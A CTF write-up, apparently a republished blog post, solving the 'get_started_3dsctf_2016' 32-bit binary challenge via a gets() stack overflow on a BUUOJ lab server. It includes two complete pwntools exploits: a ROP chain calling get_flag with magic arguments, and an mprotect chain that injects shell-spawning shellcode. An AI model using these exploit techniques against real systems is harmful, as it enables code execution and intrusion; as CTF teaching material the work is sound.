当前位置:网站首页>get_ started_ 3dsctf_ two thousand and sixteen
get_ started_ 3dsctf_ two thousand and sixteen
2022-06-24 07:23:00 【[mzq]】
get_started_3dsctf_2016

checksec Procedure is 32 Bit , Open some protection that is not a big problem ,ida to glance at 
main function

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]
printf("Qual a palavrinha magica? ", v4);
gets(&v4); #gets Function can overflow indefinitely
return 0;
}
get_flag function

We construct a1 == 0x308CD64F && a2 == 0x195719D1 , then get_flag The return address of the function is filled in exit function , You can put the flag Bring it out
void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al
if ( a1 == 0x308CD64F && a2 == 0x195719D1 ) # Judge a1 and a2 If it is equal to a given number, it reads flag
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}
exp1
from pwn import *
io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26448)
elf = ELF("./get_started_3dsctf_2016")
context(log_level="debug",arch="i386")
get_flag_addr = elf.symbols["get_flag"]
exit_addr = elf.symbols["exit"]
ret_addr = 0x08048196
a1 = 0x308CD64F
a2 = 0x195719D1
print hex(get_flag_addr),hex(exit_addr)
payload = flat(["a"*56,ret_addr,get_flag_addr,exit_addr,a1,a2])
io.sendline(payload)
io.recv()

mprotect function
Reference resources https://blog.csdn.net/qq_32095699/article/details/114225953

Simply put, this function can give permissions to the address , It's also Linux System function under , His three parameters
The first parameter is an address , It refers to the address where the operation is required .
The second parameter is the length of the address .
The third parameter is the permission to be granted .
These three parameters exist ebx esi ebp in
int __cdecl mprotect(int a1, int a2, int a3)
{
int result; // eax
result = dl_sysinfo(a2, a3);
JUMPOUT(result, -4095, _syscall_error);
return result;
}
May refer to https://www.wenjiangs.com/doc/dtkwp70q9e#ef45581adcf1589aa9c8efb9d4c10ec4
exp2
The second method is to use mprotect Function to give the address read and write permissions , Then go to the address shellcode Then the execution is called , It's not that complicated
from pwn import *
io = process("./get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26448)
elf = ELF("./get_started_3dsctf_2016")
context(log_level="debug",arch="i386")
mprotect_addr = elf.symbols["mprotect"]
read_plt = elf.symbols["read"]
pop_ebx_esi_ebp_ret = 0x0804f460
buf = 0x8048000
print mprotect_addr
payload = flat(["a"*0x38,mprotect_addr,pop_ebx_esi_ebp_ret,buf,0x1000,0x7,read_plt,buf,0,buf,0x200])
io.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386')
io.sendline(shellcode)
io.interactive()
边栏推荐
- [image fusion] image fusion based on NSST and PCNN with matlab code
- 【TS】函数类型
- 2022蓝队HW初级面试题总结
- Mysql开启BINLOG
- 6000多万铲屎官,捧得出一个国产主粮的春天吗?
- [image fusion] image fusion based on directional discrete cosine transform and principal component analysis with matlab code
- JVM调试工具-jvisualvm
- Spark project Packaging Optimization Practice
- jarvisoj_level2
- MFC使用控制台时 项目路径中不能有空格和中文,否则会报错误 LNK1342 未能保存要编辑的二进制文件的备份副本等
猜你喜欢

【均衡器】LS均衡器,DEF均衡器以及LMMSE均衡器的误码率性能对比仿真

In JS, the regular expression verifies the hour and minute, and converts the input string to the corresponding hour and minute

How can genetic testing help patients fight disease?
![[Proteus] Arduino uno + ds1307+lcd1602 time display](/img/96/d8c1cacc8a633c679b1a58a1eb8cb9.png)
[Proteus] Arduino uno + ds1307+lcd1602 time display
![[image segmentation] retinal vessel segmentation based on morphology with matlab code](/img/e3/0805df81a597346ea7c2d2da20ac96.png)
[image segmentation] retinal vessel segmentation based on morphology with matlab code

Face pincher: a hot meta universe stylist

大厂不是衡量能力的唯一出路,上财学姐毕业三年的经验分享

取模软件 模拟显示验证取模数据正确性 逆向 把点阵数组bin文件转显示

Bjdctf 2020 Bar _ Babystack

软件性能测试分析与调优实践之路-JMeter对RPC服务的性能压测分析与调优-手稿节选
随机推荐
湖北专升本-湖师计科
Mysql开启BINLOG
JVM调试工具-Arthas
【帧率倍频】基于FPGA的视频帧率倍频系统verilog开发实现
【MySQL 使用秘籍】克隆数据表、保存查询数据至数据表以及创建临时表
Leetcode概率题面试突击系列11~15
get_started_3dsctf_2016
什么是CC攻击?如何判断网站是否被CC攻击? CC攻击怎么防御?
【图像融合】基于方向离散余弦变换和主成分分析的图像融合附matlab代码
Spark project Packaging Optimization Practice
6000多万铲屎官,捧得出一个国产主粮的春天吗?
1. go deep into tidb: see tidb for the first time
[WUSTCTF2020]爬
2、 What is the principle of layer 3 and 4 switching technology? Recommended collection!
伦敦金的资金管理比其他都重要
One year since joining Tencent
PCL calculates the area of a polygon
OMX的初始化流程
学会使用楼宇控制系统BACnet网关没那么难
[image fusion] image fusion based on directional discrete cosine transform and principal component analysis with matlab code